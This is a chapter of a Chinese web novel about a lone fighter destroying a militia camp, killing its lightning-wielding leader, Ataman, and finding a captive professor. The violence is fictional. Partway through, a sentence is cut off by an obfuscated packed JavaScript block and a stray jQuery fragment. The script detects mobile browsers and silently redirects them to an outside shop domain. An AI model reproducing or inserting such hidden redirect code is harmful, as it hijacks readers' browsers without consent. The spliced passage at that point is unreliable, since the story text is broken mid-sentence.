郎思源没来得及多对阿塔曼出枪,在阿塔曼的哨声指引下,很快有守卫脱离队伍攻击她。
七天前被抓的那场战斗,她对这些异于常人的壮汉能力已经有了大致了解,知晓自己不能正面应战,因此迂回着绕远,疾跑着隐蔽身体,以期能够将之一击毙命。
而另一边,歌啸飞速闪开,手一伸将沉重精良的枪杆抛进雷光,金属合金将雷电强行导地,其上附着的涂层经过雷火淬洗,开始斑斑脱落。
她收回手,来不及去拾回枪杆,雷光逸散,仍旧有丝电弧伤到了她左手手心,一圈可怖红色暗纹交叉分布,皮肤微凸,烫出了水泡。
只差一点点,她就能被当场劈死了!
阿塔曼在刚才一激之下能力暴涨,堪比当场升级。歌啸作为原始人,心火燎烧,恨不能自己也有些异能。
但没有,除一身皮敲骨打的肉.体,她不能召唤火雷风水,也没有任何自愈功能。
肩头伤口在剧烈动作下一直在流血,末梢神经拉扯疼痛,歌啸五感敏锐过常人,包括痛觉。
阿塔曼眼中精光大放,他古怪地笑,自己不仅召唤雷电的能力变强,所需等待的召唤时间也变短了!
只要再等两掌之数,下一击,前面那个全黑裹身的垃圾就会变成一具黑色的木乃伊!
歌啸肘关节猛击守卫颈骨下方,对方反抗不及,颈椎断裂,当场栽倒,偏偏没死透,人脑还能来回转动,躺在地上盯着她。
阿塔曼狂喜:“没有一击即中……你没有力气了!”
全营已不剩几个人,阿塔曼还拿乔长官身份,得意全掩在中年持重的脸皮下,活像一幅人皮面具。
却见对方突然调转方向,不管不顾地向他冲来!
阿塔曼只慌一刻,了然对方的打算:“你觉得在我身边就不会被击中?”我不怕雷!后半句话猖狂如笑,被阿塔曼压抑在心中。
歌啸如猎豹俯冲,战术刀高高亮起,刀尖指喉,动作前所未有地犀利。
阿塔曼体术同样过人,他竖枪格挡,刀尖削掉一截枪管。
十秒钟到了!
阿塔曼横枪胸前,划出横弧,借歌啸被挡在弧外时委身蹲下捶地,嘴角翘起一线窥得胜利的笑意。
足以将两人统统笼罩在内的合抱粗雷电当空劈下!
在不是你死就是我亡的极限境地中,歌啸念头只余对手所有,念头合一,动作生风地倒滑出去。
雷电伸出冗杂末梢,追着歌啸而来。
漆黑营地中,火花四溅,光芒一度盛到肉眼暂时失明。
阿塔曼最后一下用尽了全身力气,他眼前发黑,心里却暗暗得意,那人逃不开的!他甚至无师自通了雷电追踪,就算显现躲过,也会被分叉追逐捕捉,进而电焦整个身体,变成一块黑炭。
视线开始一点点恢复,满地狼藉,甚至误伤到己方几个塔克剌,满身雷电纹,焦糊味弥散开来,尸体横陈遍地。
他的目光开始自动自发地寻找符合敌袭身形的“焦炭”。
在视线斑块爆闪的间隙,他看见,半空上悬着什么,再次向他冲来!
阿塔曼僵住的微笑还未消褪,身体反应比理智处理更快,子弹凌空飞散,黑影绕过,像一把无坚不摧的利刃携风而至,狠狠洞穿了他的心脏!
生命最后一刻,阿塔曼只看清了敌袭的眼睛。
黑得发沉,眼瞳中闪动着疯狂。
□□在胸口转动,确定搅烂他的心脏,歌啸才收回手。
她来不及呵气,立刻乘着余力飞冲,刀刀解决全部敌人。
营地中还站着的活物,似乎也只剩下了俘虏们和她。
刚才……刚才必死的一瞬,她似乎乘风而起,跃上半空,几乎超越了人体的极限,才堪堪摆脱雷电的追踪。
歌啸伸出手,防刀手套已经被烤焦,松开战术刀,布料和人造革断成块块,粘在高性能金属网上,隐约可见她手心血肉模糊,水泡已经被磨烂了。
“嘶……”歌啸捂住侧腰。
不知道什么时候,腰腹中了一枪,防弹布料被生生打穿,卸去子弹大半动能,嵌在腹部脂肪层,弹尾还露在衣服和皮肤间。
肾上腺素开始全面退却,她无数疲惫翻涌上歌啸的心头。
还不到休息的时候。她不敢弯腰,慢慢蹲下,把自己的枪捡起来,顺便抠走两把手.枪,慢慢地向着鸟嘴怪物尸体所在大帐中走去。
另一边,借着营地帐篷阻挡,和剧烈白光后守卫的愣神之刻,郎思源成功反杀掉足有三百斤恐怖块头的守卫,她呼出一口气,想着陈佰琳,立刻飞奔而去。
营地内枪林弹雨,不少俘虏都因此受伤,遭受注射的,有的还好,像人类一样有痛呼的能力;而另一部分,则像是一碰不能碰的瓷娃娃,受伤后很快化为烂泥或黑水,有时路过一片湿润的土地,都不知道那是血液还是尸水。
郎思源先一步找到陈佰琳。
她完成歌啸安排的计划后便小心翼翼地趴着。后来,大帐被撞塌了,她更谨慎地缩在柱后,时不时挪动位置防止被压到,几次差点被踩到。
后来,四周逐渐安静了,她依旧不敢动,直到有人的脚步声重新传来。
陈佰琳惶惶,不知道来人是好是坏,她屏息,直到那人一边掀翻四周狼藉,一边轻声呼唤她的名字。
“陈佰琳!”
是副队!
她立刻从帷布下出来:“副队,我在这儿!”
郎思源伸手把陈佰琳拉起来,聊胜于无地拍拍她一身浮土:“没受伤吧?”
陈佰琳摇摇头,又点头,把掖在裤腰上的刀鞘取出来:“抽刀的时候,被刀鞘划了一点伤口,还好,已经结痂了。”
郎思源说:“等出去了敷药。是我们的人来救援了吗?”
“对!”陈佰琳点头,牙齿有点打架,“她是来救我们的。她来了!”陈佰琳伸出一只手,指向侧前方帐篷拐角处。
郎思源面相歌啸,扶着腿软的陈佰琳汇合,脚跟一磕,行了标准的军礼:“特别行动队第三小队副队长0711,郎思源。”
歌啸一愣,有样学样地回敬,在一片寂寥混黑的夜色中低声道:“我没有队伍,但在刻伊塔尔黑市阅读角看到了一封求助密信。信里说一共有二十多人,其他人呢?”
“大部分已经向南方向逃了,还有两个人暂时没有踪迹,”眼前黑衣人虽说中文,但不说自己隶属小队,也不说名字,唯有敬礼还像个样子,郎思源心中疑窦丛生,“就你一个人吗?”
“就我一个人,”战斗爽的时候没想过这回事,回过神来发觉自己1V二百来人,歌啸也觉得战绩恐怖如斯,她挠挠头,只挠到包头的面罩,“单独行动,没有信任和相熟的人。信里根本没说营地规模有多大。”
“信不是我发出的。”郎思源说,她眼中立刻亮起一簇希望的火花,“你什么时候读到的信?有一位教授和我们行动队队长在营地失踪,求救信上有没有落款?”
“就今天白天,没有落款。”没有手表,只能大略估计现下晚上九点。歌啸简略补充求助密信的信息传递形式。
郎思源思考着:“只可能是队长和教授,但队长昨晚才被带走,行动时间紧迫,这封密信又比较麻烦,不大可能是他。难道是教授?”黑衣人给出的解密密钥是对得上的,但军方为保证信件能够被准确的人读到,往往不会选择用打印书籍的方式,而且自从被带到营地,他们没有人能和外人接触
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838227|211545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到,因此队长也不曾对他们说自己有密信的计划。
那就只可能是教授,但也是好几天前的事了。
饶是如此,郎思源依旧保持着信念:“我们找吧,从小帐篷开始。”
歌啸枪杆戳在地上,抬腿迈过一具尸体,忽然想到一件事:“这里的人看起来不会给被关押的人准备食物,被关单间的人是怎么活下来的?”
“不喝营养液就会死的!”韩苦对着皮肤清灰,出气多进气少的屠冶求爷爷告奶奶,“您老怎么嘴都张不开了?求求了,把药和营养液喝了,不然你会爆炸的,真的!”
屠冶双眼紧闭,整个人像正在凝固中的沥青。
韩苦束手无策了。
外面雷光闪烁,一听就知道是阿塔曼那个老毒物在搞破坏,韩苦胆战心惊,生怕殃及自己,偏偏毫无办法,在原地团团大转。
过了一会儿,战场偏移到只距离他们几米。雷光更胜,一度劈到周边木柱上,黑色雷击纹沿着木柱攀爬。到最后干脆破坏了绝缘体,将电流强行导入地面。
韩苦觉得脚底麻麻的,单腿站着,想起屠冶躺在地上,受到的电势差可能更大,想扶着她起来,可当下又不能接触,捏着烧杯,脸色绿如菜叶。
他结结巴巴地说:“命都要豁出去了……我真的受够了。”
雷击造成了一些物品自燃,帐篷立柱也摇摇欲坠。夜色浓稠,韩苦没发现,大量电流在屠冶身上形成回路,她身上金属纹路几不可见地微弱闪烁了下。而后,皮肤开始渐渐褪去青灰。
屠冶的下颌关节终于没那么僵硬了。
韩苦小心翼翼把配出来的药物灌进去,量量屠冶脉搏,确定稳定下来后,眼睛仓促地转了转,异能启动,缩进阴影里。
歌啸正挨个掀开或立或垮的帐篷,叫还留在这里、有幸生还的人们离开。
营地几乎完全成了废墟。
她掀开一个难得完好的帐篷门,小心翼翼地往里面看去。
憔悴不堪的中年女性躺在草垫上,旁边横七竖八倾倒了一堆瓶瓶罐罐,头不远处还有一只底部残留着绿色液体的烧杯。歌啸对它们略有印象。
是那个影子小贼。
韩苦在阴影里藏着,看到来的是黑衣服,心脏都快停跳了,被踩了一脚的记忆还新鲜着,再瞧见地上的药剂,更是直呼倒霉。
歌啸视线在帐内转了一圈。
她目光清明,黑色瞳孔仿佛能看穿一切。韩苦心里一紧,想道:是了,毕竟是单刷整个宗教武装营地的人,没点手腕能力怎么行?
而后看见歌啸眼神散开,盯着一点没动。韩苦顺着她目光左右确定……她盯着的明明就是自己!该死,怎么来的偏偏是她,她肯定见过
难不成是觉得自己在害屠冶教授?
因为灯下黑,韩苦就藏在草垫旁边,没想到自己还是被看穿了。
想到黑衣人的恐怖战力,韩苦膝盖一软,总觉得下一个脑袋旅游的就是自己。
他战战兢兢地化了形,立刻给歌啸跪下了:“大大大、大人!天地可鉴,我是为了救屠教授才在这里的,和那群跳大神的鸟人不是一伙的!别杀我!”
声音凄厉,可止小儿夜啼。
但歌啸一时没理他。
歌啸也没想到这里还藏着一号人。
刚刚目光散开,只是因为腰腹伤口还暴露在外,不便躬身探知中年女性的状况,她想着,营地有没有能包扎的东西。
谁知道突然跳出来一个小毛贼。
俗话说上赶着的都有诈,歌啸警惕心一上来,反而不怎么相信韩苦的话。
不过,地上人的身份反而明确下来了。
是最早被带走进行人体实验的教授。